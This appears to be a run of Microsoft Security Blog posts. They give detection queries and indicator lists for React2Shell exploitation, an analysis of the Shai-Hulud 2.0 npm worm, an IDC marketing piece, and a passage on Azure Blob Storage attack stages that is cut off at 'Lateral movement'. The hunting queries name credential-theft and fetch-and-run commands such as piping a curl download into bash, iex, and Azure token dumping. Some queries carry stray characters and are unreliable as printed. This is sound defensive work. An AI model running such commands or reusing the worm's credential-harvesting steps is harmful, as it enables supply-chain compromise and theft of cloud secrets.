Microsoft Security Exposure Management’s automated attack path analysis maps out potential threats by identifying exposed resources and tracing the routes an attacker might take to compromise critical assets. This analysis highlights vulnerable cloud compute resources, such as virtual machines and Kubernetes containers, that are susceptible to remote code execution vulnerabilities, including React2Shell CVEs. It also outlines possible lateral movement steps an adversary might take within the environment. The attack paths are presented for all supported cloud environments, including Azure, AWS, and GCP.

To view these paths, filter the view in Microsoft Security Exposure Management, filter by entry point type:

• Kubernetes container
• Virtual Machine
• AWS EC2 instance
• GCP compute instance.

Alternatively, in Microsoft Defender for Cloud, customers can filter by titles such as:

• Internet exposed container with high severity vulnerabilities
• Internet exposed Azure VM with RCE vulnerabilities
• Internet exposed GCP compute instance with RCE vulnerabilities
• Internet exposed AWS EC2 instance with RCE vulnerabilities

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace. 

Detect network IP and domain indicators of compromise using ASIM

//IP list and domain list- _Im_NetworkSession
let lookback = 30d;
let ioc_ip_addr = dynamic(["194.69.203.32", "162.215.170.26", "216.158.232.43", "196.251.100.191", "46.36.37.85", "92.246.87.48"]);
let ioc_domains = dynamic(["anywherehost.site", "xpertclient.net", "superminecraft.net.br", "overcome-pmc-conferencing-books.trycloudflare.com", "donaldjtrmp.anondns.net", "labubu.anondns.net", "krebsec.anondns.net", "hybird-accesskey-staging-saas.s3.dualstack.ap-northeast-1.amazonaws.com", "ghostbin.axel.org", "194.69.203.32:81", "194.69.203.32:81", "194.69.203.32:81", "162.215.170.26:3000", "216.158.232.43:12000", "overcome-pmc-conferencing-books.trycloudflare.com", "donaldjtrmp.anondns.net:1488", "labubu.anondns.net:1488", "krebsec.anondns.net:2316/dong", "hybird-accesskey-staging-saas.s3.dualstack.ap-northeast-1.amazonaws.com", "ghostbin.axel.org"]);n_Im_NetworkSession(starttime=todatetime(ago(lookback)), endtime=now())n| where DstIpAddr in (ioc_ip_addr) or DstDomain has_any (ioc_domains)
| summarize imNWS_mintime=min(TimeGenerated), imNWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, DstDomain, Dvc, EventProduct, EventVendor

Detect Web Sessions IP and file hash indicators of compromise using ASIM

//IP list - _Im_WebSession
let lookback = 30d;
let ioc_ip_addr = dynamic(["194.69.203.32", "162.215.170.26", "216.158.232.43", "196.251.100.191", "46.36.37.85", "92.246.87.48"]);
let ioc_sha_hashes =dynamic(["c2867570f3bbb71102373a94c7153239599478af84b9c81f2a0368de36f14a7c", "9e9514533a347d7c6bc830369c7528e07af5c93e0bf7c1cd86df717c849a1331", "b63860cefa128a4aa5d476f300ac45fd5d3c56b2746f7e72a0d27909046e5e0f", "d60461b721c0ef7cfe5899f76672e4970d629bb51bb904a053987e0a0c48ee0f", "d3c897e571426804c65daae3ed939eab4126c3aa3fa8531de5e8f0b66629fe8a", "d71779df5e4126c389e7702f975049bd17cb597ebcf03c6b110b59630d8f3b4d", "b5acbcaccc0cfa54500f2bbb0745d4b5c50d903636f120fc870082335954bec8", "4cbdd019cfa474f20f4274310a1477e03e34af7c62d15096fe0df0d3d5668a4d", "f347eb0a59df167acddb245f022a518a6d15e37614af0bbc2adf317e10c4068b", "661d3721adaa35a30728739defddbc72b841c3d06aca0abd4d5e0aad73947fb1", "876923709213333099b8c728dde9f5d86acfd0f3702a963bae6a9dde35ba8e13", "2ebed29e70f57da0c4f36a9401a7bbd36e6ddd257e0920aa4083240afa3a6457", "f1ee866f6f03ff815009ff8fd7b70b902bc59b037ac54b6cae9b8e07beb854f7", "7e90c174829bd4e01e86779d596710ad161dbc0e02a219d6227f244bf271d2e5"]);b_Im_WebSession(starttime=todatetime(ago(lookback)), endtime=now())b| where DstIpAddr in (ioc_ip_addr) or FileSHA256 in (ioc_sha_hashes)
| summarize imWS_mintime=min(TimeGenerated), imWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, Url, Dvc, EventProduct, EventVendor

Detect domain and URL indicators of compromise using ASIM

// Domain list - _Im_WebSession
let ioc_domains = dynamic(["anywherehost.site", "xpertclient.net", "superminecraft.net.br", "overcome-pmc-conferencing-books.trycloudflare.com", "donaldjtrmp.anondns.net", "labubu.anondns.net", "krebsec.anondns.net", "hybird-accesskey-staging-saas.s3.dualstack.ap-northeast-1.amazonaws.com", "ghostbin.axel.org", "194.69.203.32:81", "194.69.203.32:81", "194.69.203.32:81", "162.215.170.26:3000", "216.158.232.43:12000", "overcome-pmc-conferencing-books.trycloudflare.com", "donaldjtrmp.anondns.net:1488", "labubu.anondns.net:1488", "krebsec.anondns.net:2316/dong", "hybird-accesskey-staging-saas.s3.dualstack.ap-northeast-1.amazonaws.com", "ghostbin.axel.org"]);
_Im_WebSession (url_has_any = ioc_domains)

Detect files hashes indicators of compromise using ASIM

// file hash list - imFileEvent
let ioc_sha_hashes = dynamic(["c2867570f3bbb71102373a94c7153239599478af84b9c81f2a0368de36f14a7c", "9e9514533a347d7c6bc830369c7528e07af5c93e0bf7c1cd86df717c849a1331", "b63860cefa128a4aa5d476f300ac45fd5d3c56b2746f7e72a0d27909046e5e0f", "d60461b721c0ef7cfe5899f76672e4970d629bb51bb904a053987e0a0c48ee0f", "d3c897e571426804c65daae3ed939eab4126c3aa3fa8531de5e8f0b66629fe8a", "d71779df5e4126c389e7702f975049bd17cb597ebcf03c6b110b59630d8f3b4d", "b5acbcaccc0cfa54500f2bbb0745d4b5c50d903636f120fc870082335954bec8", "4cbdd019cfa474f20f4274310a1477e03e34af7c62d15096fe0df0d3d5668a4d", "f347eb0a59df167acddb245f022a518a6d15e37614af0bbc2adf317e10c4068b", "661d3721adaa35a30728739defddbc72b841c3d06aca0abd4d5e0aad73947fb1", "876923709213333099b8c728dde9f5d86acfd0f3702a963bae6a9dde35ba8e13", "2ebed29e70f57da0c4f36a9401a7bbd36e6ddd257e0920aa4083240afa3a6457", "f1ee866f6f03ff815009ff8fd7b70b902bc59b037ac54b6cae9b8e07beb854f7", "7e90c174829bd4e01e86779d596710ad161dbc0e02a219d6227f244bf271d2e5"]);dimFileEventd| where SrcFileSHA256 in (ioc_sha_hashes) or
TargetFileSHA256 in (ioc_sha_hashes)
| extend AccountName = tostring(split(User, @'')[1]), 
  AccountNTDomain = tostring(split(User, @'')[0])
| extend AlgorithmType = "SHA256"

Find use of reverse shells

This query looks for potential reverse shell activity initiated by cmd.exe or PowerShell. It matches the use of reverse shells in this attack: reverse-shell-nishang.

Indicators of compromise

The list below is non-exhaustive and does not represent all indicators of compromise observed in the known campaigns:

References

• Critical Security Vulnerability in React Server Components – React
• NVD – CVE-2025-55182
• CVE-2025-55182 (React2Shell) Opportunistic Exploitation In The Wild: What The GreyNoise Observation Grid Is Seeing So Far

Learn more  

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The guidance provided in this blog post represents general best practices and is intended for informational purposes only. Customers remain responsible for evaluating and implementing security measures appropriate for their environments.

The post Defending against the CVE-2025-55182 (React2Shell) vulnerability in React Server Components appeared first on Microsoft Security Blog.

The Shai‑Hulud 2.0 campaign builds on earlier supply chain compromises but introduces more automation, faster propagation, and a broader target set:

• Malicious code executes during the preinstall phase of infected npm packages, allowing execution before tests or security checks.
• Attackers have compromised maintainer accounts from widely used projects (for example, Zapier, PostHog, Postman).
• Stolen credentials are exfiltrated to public attacker-controlled repositories, which could lead to further compromise.

This campaign illustrates the risks inherent to modern supply chains:

• Traditional network defenses are insufficient against attacks embedded in trusted package workflows.
• Compromised credentials enable attackers to escalate privileges and move laterally across cloud workloads.

In defending against threats like Shai-Hulud 2.0, organizations benefit significantly from the layered protection from Microsoft Defender, which provides security coverage from code, to posture management, to runtime. This defense-in-depth approach is especially valuable when facing supply chain-driven attacks that might introduce malicious dependencies that evade traditional vulnerability assessment tools. In these scenarios, the ability to correlate telemetry across data planes, such as endpoint or container behavior and runtime anomalies, becomes essential. Leveraging these insights enables security teams to rapidly identify compromised devices, flag suspicious packages, and contain the threat before it propagates further.

This blog provides a high-level overview of Shai‑Hulud 2.0, the attack mechanisms, potential attack propagation paths, customized hunting queries, and the actions Microsoft Defender is taking to enhance detection, attack-path analysis, credential scanning, and supply chain hardening.

Analyzing the Shai-Hulud 2.0 attack

Multiple npm packages were compromised when threat actors added a preinstall script named set_bun.js in the package.json of the affected packages. The setup_bun.js script scoped the environment for an existing Bun runtime binary; if not found, the script installed it. Bun can be used in the same way Node.js is used.

The Bun runtime executed the bundled malicious script bun_environment.js. This script downloaded and installed a GitHub Actions Runner archive. It then configured a new GitHub repository and a runner agent called SHA1Hulud. Additional files were extracted from the archive including, TruffleHog and Runner.Listener executables. TruffleHog was used to query the system for stored credentials and retrieve stored cloud credentials.

Microsoft Defender for Containers promptly notified our customers when the campaign began through the alert Suspicious usage of the shred command on hidden files detected. This alert identified the data destruction activity carried out as part of the campaign. Additionally, we introduced a dedicated alert to identify this campaign as Sha1-Hulud Campaign Detected – Possible command injection to exfiltrate credentials.

In some cases, commits to the newly created repositories were under the name “Linus Torvalds”, the creator of the Linux kernel and the original author of Git.  The use of fake personas highlights the importance of commit signature verification, which adds a simple and reliable check to confirm who actually created a commit and reduces the chance of impersonation.

Mitigation and protection guidance

Microsoft Defender recommends the following guidance for customers to improve their environments’ security posture against Shai-Hulud:

• Review the Key Vault assets on the critical asset management page and investigate any relevant logs for unauthorized access.
• Rapidly rotate and revoke exposed credentials.
• Isolate affected CI/CD agents or workspaces.
• Prioritize high-risk attack paths to reduce further exposure.
• Remove unnecessary roles and permissions granted to identities assigned to CI/CD pipelines; specifically review access to key vaults.
• For Defender for Cloud customers, read on the following recommendation:
  • As previously indicated, the attack was initiated during the preinstall phase of compromised npm packages. Consequently, cloud compute workloads that rely on these affected packages present a lower risk compared to those involved in the build phase. Nevertheless, it is advisable to refrain from using such packages within cloud workloads. Defender for Cloud conducts thorough scans of workloads and prompts users to upgrade or replace any compromised packages if vulnerable versions are detected. Additionally, it references the code repository from which the image was generated to facilitate effective investigation.
  • To receive code repository mapping, make sure to connect your DevOps environments to Defender for Cloud. Refer to the following documentation for guidance on:
    • Connecting Azure DevOps to Defender for Cloud
    • Connecting GitHub environment to Defender for Cloud
    • Connecting GitLab environment to Defender for Cloud
    • Deploying Defender CLI for container image scan

• For npm maintainers:
  • Use npm trusted publishing instead of tokens. Strengthen publishing settings on accounts, organizations, and packages to require two-factor authentication (2FA) for any writes and publishing actions.
  • When configuring two-factor authentication, use WebAuthn instead of a time-based, one-time password (TOTP).
• To combat this evolving threat, we are also introducing a new functionality in Microsoft Defender for Cloud that identifies Shai-Hulud 2.0 packages by leveraging agentless code scanning. This capability works by creating a Software Bill of Materials (SBOM) in the background and performing a lookup to identify if any package in the filesystem or source code repository is a malicious package that could be a component of the Shai-Hulud attack. By decoupling security analysis from runtime execution, this approach ensures that deep dependency threats are detected without impacting the performance of workloads or pipelines.
  • If malicious packages are found, recommendations in Microsoft Defender for Cloud provide immediate visibility into compromised assets as shown below. This ensures that security teams can act quickly to freeze dependencies and rotate credentials before further propagation occurs.
  • The next recommended step for customers is to start scanning repositories and protecting supply chains. Learn how to set up connectors.

• Turn on cloud-delivered protection and automatic sample submission on Microsoft Defender Antivirus. These capabilities use artificial intelligence and machine learning to quickly identify and stop new and unknown threats.
• Turn on attack surface reduction rules, particularly on blocking executable files from running unless they meet a prevalence, age or trusted list criterion and blocking execution of potentially obfuscated scripts.

For more information on GitHub’s plans on securing the npm supply chain and what npm maintainers can take today, Defender also recommends checking the Github plan for a more secure npm supply chain.

Microsoft Defender XDR detections 

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat:

• Incident investigation
• Microsoft User analysis
• Threat actor profile
• Threat Intelligence 360 report based on MDTI article
• Vulnerability impact assessment

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender XDR threat analytics:

• Activity Profile: From vulnerable workflows to self-replicating malware: Technical analysis of npm supply chain security incidents

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Attack path analysis

Attack path analysis shows paths from exposed entry points to targets. Security teams can use attack path analysis to surface cross-domain exposure risks, for example how an attacker could move from externally reachable resources to sensitive systems to escalate privileges and maintain persistence. While supply chain attacks like those used by Shai-Hulud 2.0 can originate without direct exposure, customers can leverage advanced hunting to query the Exposure Graph for these broader relationships.

For example, once a virtual or physical machine is determined to be compromised, key vaults that are directly accessible using credentials obtained from the compromised system can also be identified. The relevant access paths can be extracted using queries, as detailed in the hunting section below. Any key vault found along these paths should be investigated according to the mitigation guide.

Hunting queries 

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following queries to find related activity in their networks:

Attempts of malicious JS execution through node

DeviceProcessEvents 
| where FileName has "node" and ProcessCommandLine has_any ("setup_bun.js", "bun_environment.js")

Suspicious process launched by malicious JavaScript

DeviceProcessEvents | where InitiatingProcessFileName in~ ("node", "node.exe") and InitiatingProcessCommandLine endswith ".js"
| where (FileName in~ ("bun", "bun.exe") and ProcessCommandLine has ".js")
    or (FileName  in~ ("cmd.exe") and ProcessCommandLine has_any ("where bun", "irm ", "[Environment]::GetEnvironmentVariable('PATH'", "|iex"))
    or (ProcessCommandLine in~ ("sh", "dash", "bash") and ProcessCommandLine has_any ("which bun", ".bashrc && echo $PATH", "https://bun.sh/install"))
| where ProcessCommandLine !contains "bun" and ProcessCommandLine !contains "\\" and ProcessCommandLine !contains "--"

GitHub exfiltration

DeviceProcessEvents | where FileName has_any ("bash","Runner.Listener","cmd.exe") | where ProcessCommandLine has 'SHA1HULUD' and not (ProcessCommandLine has_any('malicious','grep','egrep',"checknpm","sha1hulud-checker-ado","sha1hulud-checker-ado"," sha1hulud-checker-github","sha1hulud-checker","sha1hulud-scanner","go-detector","SHA1HULUD_IMMEDIATE_ACTIONS.md","SHA1HULUD_COMPREHENSIVE_REPORT.md","reddit.com","sha1hulud-scan.sh"))

Paths from compromised machines and repositories to cloud key management services

let T_src2Key = ExposureGraphEdges
| where EdgeLabel == 'contains'
| where SourceNodeCategories has_any ('code_repository', 'virtual_machine' , 'physical_device')
| where TargetNodeCategories has 'secret'
| project SourceNodeId, SourceNodeLabel, SourceNodeName, keyNodeId=TargetNodeId, keyNodeLabel=TargetNodeLabel;
let T_key2identity = ExposureGraphEdges
| where EdgeLabel == 'can authenticate as'
| where SourceNodeCategories has 'key'
| where TargetNodeCategories has 'identity'
| project keyNodeId=SourceNodeId, identityNodeId=TargetNodeId;
ExposureGraphEdges
| where EdgeLabel == 'has permissions to'
| where SourceNodeCategories has 'identity'
| where TargetNodeCategories has "keys_management_service"
| join hint.strategy=shuffle kind=inner (T_key2identity) on $left.SourceNodeId==$right.identityNodeId
| join hint.strategy=shuffle kind=inner (T_src2Key) on keyNodeId
| join hint.strategy=shuffle kind=inner (ExposureGraphNodes | project NodeId, srcEntityId=EntityIds) on $left.SourceNodeId1==$right.NodeId
| join hint.strategy=shuffle kind=inner (ExposureGraphNodes | project NodeId, identityEntityId=EntityIds) on $left.identityNodeId==$right.NodeId
| join hint.strategy=shuffle kind=inner (ExposureGraphNodes | project NodeId, kmsEntityId=EntityIds) on $left.TargetNodeId==$right.NodeId
| project srcLabel=SourceNodeLabel1, srcName=SourceNodeName1, srcEntityId, keyNodeLabel, identityLabel=SourceNodeLabel,
    identityName=SourceNodeName, identityEntityId, kmsLabel=TargetNodeLabel, kmsName=TargetNodeName, kmsEntityId
| extend Path = strcat('srcLabel',' contains','keyNodeLabel',' can authenticate as', ' identityLabel', ' has permissions to', ' kmsLabel')

Setup of the GitHub runner with the malicious repository and downloads of the malicious bun.sh script that facilitates this

CloudProcessEvents
| where  (ProcessCommandLine has "--name SHA1HULUD" ) or (ParentProcessName == "node" and (ProcessName == "bash" or ProcessName == "dash" or ProcessName == "sh") and ProcessCommandLine has "curl -fsSL https://bun.sh/install | bash")
| project Timestamp, AzureResourceId, KubernetesPodName, KubernetesNamespace, ContainerName, ContainerId, ContainerImageName, ProcessName, ProcessCommandLine, ProcessCurrentWorkingDirectory, ParentProcessName, ProcessId, ParentProcessId, AccountName

Credential collection using TruffleHog and Azure CLI

CloudProcessEvents
| where (ParentProcessName == "bun" and ProcessName in ("bash","dash","sh") and ProcessCommandLine has_any("az account get-access-token","azd auth token")) or
        (ParentProcessName == "bun" and ProcessName == "tar" and ProcessCommandLine has_any ("trufflehog","truffler-cache"))
| project Timestamp, AzureResourceId, KubernetesPodName, KubernetesNamespace, ContainerName, ContainerId, ContainerImageName, ProcessName, ProcessCommandLine, ProcessCurrentWorkingDirectory, ParentProcessName, ProcessId, ParentProcessId, AccountName

Cloud security explorer

Microsoft Defender for Cloud customers can also use cloud security explorer to surface possibly compromised software packages. The following screenshot represents a query that searches for a virtual machine or repository allowing lateral movement to a key vault. View the query builder.

The security explorer templates library has been expanded with two additional queries that retrieve all container images with compromised software packages and all the running containers with these images.

Another means for security teams to proactively identify the scope of this threat is by leveraging the Cloud Security Explorer to query the granular Software Bill of Materials (SBOM) generated by agentless scanners. This capability allows you to execute dynamic, graph-based queries across your entire multi-cloud estate—including virtual machines, containers, and code repositories—to pinpoint specific software components and their versions without the need for agent deployment.

For the Shai-Hulud 2.0 campaign, you can use the Cloud Security Explorer to map your software inventory directly to the list of known malicious packages. By running targeted queries that search for the specific compromised package names identified in our threat intelligence, you can instantly visualize the blast radius of the attack within your environment. This enables you to locate every asset containing a malicious dependency and prioritize remediation efforts effectively.

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace. 

Indicators of compromise   

References

• https://www.aikido.dev/blog/shai-hulud-strikes-again-hitting-zapier-ensdomains

Learn more  

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Shai-Hulud 2.0: Guidance for detecting, investigating, and defending against the supply chain attack appeared first on Microsoft Security Blog.

But what actually needs to change? And what should you be doing about it? Read IDC’s latest research, The Next Era of Cloud Security: Cloud-Native Application Protection Platform and Beyond, to dive deep into the future of cloud security—and what it means for chief information security officers (CISOs), security architects, and product leaders.

Five IDC insights into the evolving cloud security landscape

1. One platform is quietly becoming a top investment

IDC research found that cloud-native application protection platforms (CNAPPs) are now one of the top three security investments for 2025. Why? Because they’re solving problems that legacy tools can’t, protecting cloud-native applications throughout their lifecycle—further reinforcing the importance of ecosystems, consolidation, and more.

2. The role of the CISO is evolving to align security with business priorities

In 37% of organizations, CISOs now have ownership over cloud security management. IDC calls them “3D CISOs.” They don’t just manage risk—they drive business outcomes and digital innovation. These leaders are reshaping how security is embedded across the organization, from DevOps pipelines to boardroom conversations. IDC’s whitepaper details the expanded and evolving role of CISOs and their impact on improving the overall security posture of organizations.   

3. Tool sprawl increases costs and introduces vulnerabilities

Organizations are grappling with tool sprawl, using an average of 10 cloud security tools and often adding more each year. This complexity—driven by fragmented platforms, regulatory requirements, and integration challenges—creates blind spots and slows response times. But stopping the sprawl isn’t easy. It requires a deliberate approach, anchored in a unified security platform that simplifies operations and strengthens protection. IDC research underscores this, highlighting how greater visibility and tool consolidation drive measurable gains in efficiency and cost management.

4. Generative AI is already changing the game

Forget the hype. Generative AI is delivering real value for cloud security—from automated threat detection to faster incident response, and more. IDC’s data shows how security teams are using generative AI, including how it can enhance the capabilities of security analysts and allow them to focus on more complex tasks.

5. The future is integrated and autonomous

Security leaders are moving toward unified security operations (SecOps) platforms that combine cloud-native protection, threat intelligence, and AI-powered automation. Some are exploring the new frontier of agentic AI—autonomous systems that can detect, isolate, and remediate known cyberthreats without human intervention. The IDC whitepaper explores what this future looks like—and how close we really are.

Why mitigating security risk matters now more than ever

Cloud security is a critical business imperative. As IDC puts it, “Security risk is business risk.” The decisions you make today will shape your organization’s resilience, agility, and ability to innovate tomorrow. Whether you’re a CISO or a cloud architect, this research offers a roadmap for navigating what’s next. It’s not just about buying new tools. It’s about building a smarter, more unified approach to cloud security.

Ready to see what’s inside?

71% of organizations surveyed believe that over the next two years, it would be beneficial for their organization to invest in a unified SecOps platform that includes technologies such as extended detection and response (XDR), endpoint detection and response (EDR), security information and event management (SIEM), CNAPP and cloud security, generative AI, and threat intelligence. But that’s easier said than done. And in this post, we’ve only scratched the surface. The full IDC study covers:

• The evolving role of CNAPP in cloud security.
• How CISOs are aligning security with business goals.
• The impact of generative AI and agentic AI on security operations center (SOC) operations.
• Strategies for reducing tool sprawl and improving visibility.
• Guidance for integrating CNAPP with XDR, SIEM, and managed services.

Innovate faster with Microsoft

Microsoft’s integrated CNAPP, powered by industry-leading generative AI and threat intelligence, unifies security across the entire application lifecycle. With comprehensive visibility, real-time cloud detection and response, and proactive risk prioritization, it protects your modern cloud and AI applications from code to runtime.

Microsoft empowers your security teams to identify, prioritize, and mitigate risks early, adhere to compliance and regulatory requirements, prevent cloud breaches, and stay ahead of emerging cloud and AI cyberthreats. Innovate securely, quickly, and confidently, across hybrid and multicloud environments.

Learn more

Read IDC’s full whitepaper, The Next Era of Cloud Security: Cloud-Native Application Protection Platform and Beyond.

Learn about our new e-book: The 5 generative AI security threats you need to know.

Sign up to read the quick-start e-book to Executing cloud-native application protection platform (CNAPP) strategy.

Learn more about Microsoft Defender for Cloud.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

Microsoft Ignite

Join us at Microsoft Ignite to explore the latest solutions for securing AI. Connect with industry leaders, innovators, and peers shaping what’s next.

San Francisco on November 17-21
Online (free) on November 18-20

Register now

The post New IDC research highlights a major cloud security shift appeared first on Microsoft Security Blog.

Recognizing these risks, Microsoft’s Secure Future Initiative (SFI) has strengthened default security by design, but defenders must continue to follow security baseline recommendations and leverage customer-facing security capabilities to stay ahead of evolving threats. In alignment with the MITRE ATT&CK framework, Microsoft Threat Intelligence continually updates threat matrices to map the evolving tactics and techniques targeting cloud environments. While some of our previous work has focused on Kubernetes and containerized workloads at the compute layer of the cloud stack, this blog shifts the lens to the data storage layer—specifically, Azure Blob Storage.

Therefore, in this blog, we outline some of the unique threats associated with the data storage layer, including relevant stages of the attack chain for Blob Storage to connect these risks to actionable Azure Security controls and applicable security recommendations. We also provide threat detections to help contain and prevent Blob Storage threat activity with Microsoft Defender for Cloud’s Defender for Storage plan. By understanding the unique threats facing Azure Blob Storage and implementing targeted security controls, organizations can better safeguard their most critical workloads and data repositories against evolving attacker tactics.

How Azure Blob Storage works

Azure Storage supports a wide range of options for handling exabytes of blob data from many sources at scale. Blobs store everything from checkpoint and model files for AI to parquet datasets for analytics. These blobs are organized into containers, which function like folders grouping sets of blobs. A single storage account can contain an unlimited number of containers, and each container can store an unlimited number of blobs.

Blob Storage also supports HPC, backup, and disaster recovery scenarios for more resiliency and business continuity, like backing up on-premises resources or Infrastructure as a Service (IaaS) virtual machine-hosted SQL Server data. Azure Data Lake Storage offers specific optimizations well suited for file system and analytics workloads such as hierarchical namespace and fast atomic operations. Blob storage also supports public access scenarios such as download for static files—not all files are accessible for download over internet.

Azure Storage fulfils the cloud shared responsibility model through best practices across identity and access management, secure networking, data protection, and continuous monitoring. It supports best practices that help defend across the attack chain when implemented as part of both a cloud-native identity and access management solution such as Microsoft Entra ID, and a cloud-native application protection platform such as Defender for Cloud. Azure Storage integrates with both, allowing least-privilege access through Entra role-based access control (RBAC) and fine-grained Entra Azure attribute-based access control (ABAC).

Azure Storage safeguards data in transit with network protections such as network security perimeter, private endpoint/Private Link and virtual networks, and encryption for data in transit via TLS. It uses service-side encryption (SSE) to automatically encrypt all Azure Storage resources persisted to the cloud, including blobs and object metadata, and cannot be disabled. While Storage automatically encrypts all data in a storage account at the service level using 256-bit AES encryption (one of the strongest block ciphers available), it is also possible to enable 256-bit AES encryption at the infrastructure level for double encryption to protect against a scenario where one of the encryption algorithms or keys might be compromised.

Azure Storage integrates with Azure Backup and Microsoft Defender for ransomware and malware protection. Azure Storage also supports a wide range of data protection scenarios, such as preventing deletion or modification of accounts and blobs through immutability settings and enabling recovery from data deletion or overwrites through soft delete and versioning.  

A look at the attack chain

To help defenders apply appropriate controls and our recommendations against various threat scenarios across the attack chain, we take a closer look at the progression.

Reconnaissance

Threat actors enumerate Blob Storage to identify publicly exposed data and credentials that they can leverage later in the attack chain. Common tactics include DNS and HTTP header probing to scan for valid *.blob.core.windows.net subdomains. Threat actors can now also use language models to generate plausible storage account or container names to make brute-forcing more effective.

Enumeration tools like Goblob have long been made available on GitHub, and threat actors can extend this type of capability misusing other tools on GitHub like QuickAZ, which combines storage enumeration with other Azure reconnaissance capabilities. Threat actors may also try to leverage PowerShell-based scanners easily accessible to brute-force prefix and suffix combinations for hours using permutation dictionary scripts. They can also turn to dedicated indexers cataloging tens of thousands of publicly exposed containers.  

When sensitive credentials, such as storage account keys, shared access signatures (SAS), or Microsoft Entra ID principal credentials are discovered in source code repositories or configuration files (including version histories), threat actors can more easily gain an initial foothold. Storage account keys are particularly high risk if they grant full read, write, and delete access to storage resources. With these credentials, threat actors can escalate privileges, move laterally, or proceed directly to exfiltrate data.

Resource development

Threat actors try to exploit misconfigured or missing identity controls to create malicious resources in Blob Storage in furtherance of their operations and targeting. They may attempt to leverage Azure Blob Storage to host spoofed versions of legitimate Microsoft sign-in pages to make it more challenging for potential victims to discern based on an inspection of the SSL certificates alone.

Threat actors may attempt to place malicious executables or macro-enabled documents in containers left open to anonymous access or secured by weak or compromised SAS. This could lead to victims downloading harmful content directly from those blob URLs.

Since Blob Storage often stores machine learning training datasets, threat actors may exploit it for data poisoning by injecting mislabeled or malicious samples to skew model behavior and produce incorrect predictions.

Initial access

A single misconfigured endpoint could expose sensitive information. Theoretically, a threat actor could attempt to exploit blob-triggered Azure Functions using Event Grid that process files in storage containers, or Azure Logic Apps that automate file transfers from external sources like FTP servers, to gain entry to downstream workflows linked to Azure Storage—if those workflows rely on misconfigured or insufficiently secured authentication mechanisms. This could allow an attacker to maliciously trigger trusted automation or hijack event routing to escalate privileges or move laterally within the environment.

Persistence

If a threat actor gains access to an environment through Blob Storage, they may attempt to establish a long-term foothold by manipulating identity and access configurations that are resilient to standard remediation efforts such as key rotations or password resets. These techniques may include assigning built-in roles or custom roles with elevated privileges to identities under their control, generating SAS with broad permissions and extended expiration periods, modifying container-level access policies to permit anonymous read access, enabling Secure File Transfer Protocol (SFTP) on storage accounts, or leveraging soft-delete capabilities to conceal malicious payloads by uploading, deleting, and later restoring blobs.

Threat actors frequently abuse legitimate tools such as AADInternals to establish backdoors and persist, enabling access to both cloud and hybrid resources. Additionally, frameworks like AzureHound are extensively leveraged to identify privileged escalation paths from enumerated Azure resources.

Defense evasion

Threat actors may attempt to evade detection by tampering with Blob Storage networking and logging configurations—loosening or deleting firewall rules, adding overly permissive IP address ranges or virtual network (VNet) rules, creating unauthorized private endpoints, distributing requests across regions, or disabling diagnostic logging.

Credential access

Threat actors may attempt to obtain Blob Storage credentials through several vectors, including token and key extraction, cloud shell persistence abuse, and exposure through misconfigurations. For token and key extraction, threat actors with access to Entra ID tokens may reuse refresh tokens to obtain new access tokens, or invoke privileged management APIs (for example, listKeys) to extract primary and secondary storage account keys. These keys may grant full data-plane access and bypass identity-based controls. For cloud shell persistence abuse, because Azure Cloud Shell stores session data within a hidden blob container within the user’s storage account, threat actors with access may retrieve cached credentials, command history, or configuration files containing sensitive information. Finally, for exposure through misconfiguration, if secure transfer is not enforced or network access controls are overly permissive, shared keys or SAS tokens may be exposed in transit or through public endpoints. This includes keys and tokens found in exposed or compromised endpoints or code-repositories. These credentials can then possibly be reused by threat actors to access or exfiltrate data.

Discovery

After gaining a foothold in Azure, threat actors might map Blob Storage to locate valuable data and understand defensive settings. To uncover blob containers unintentionally exposed publicly, they could enumerate the broader cloud estate—querying subscriptions, resource groups, and storage account inventories. After identifying accounts, threat actors could probe deeper: listing containers and blobs, inspecting metadata, and retrieving configuration details such as firewall rules, logging targets, immutability policies, and backup schedules. This would enable them to identify where sensitive data resides and assess which controls can be bypassed or disabled to facilitate collection, exfiltration, or destruction.

Lateral movement

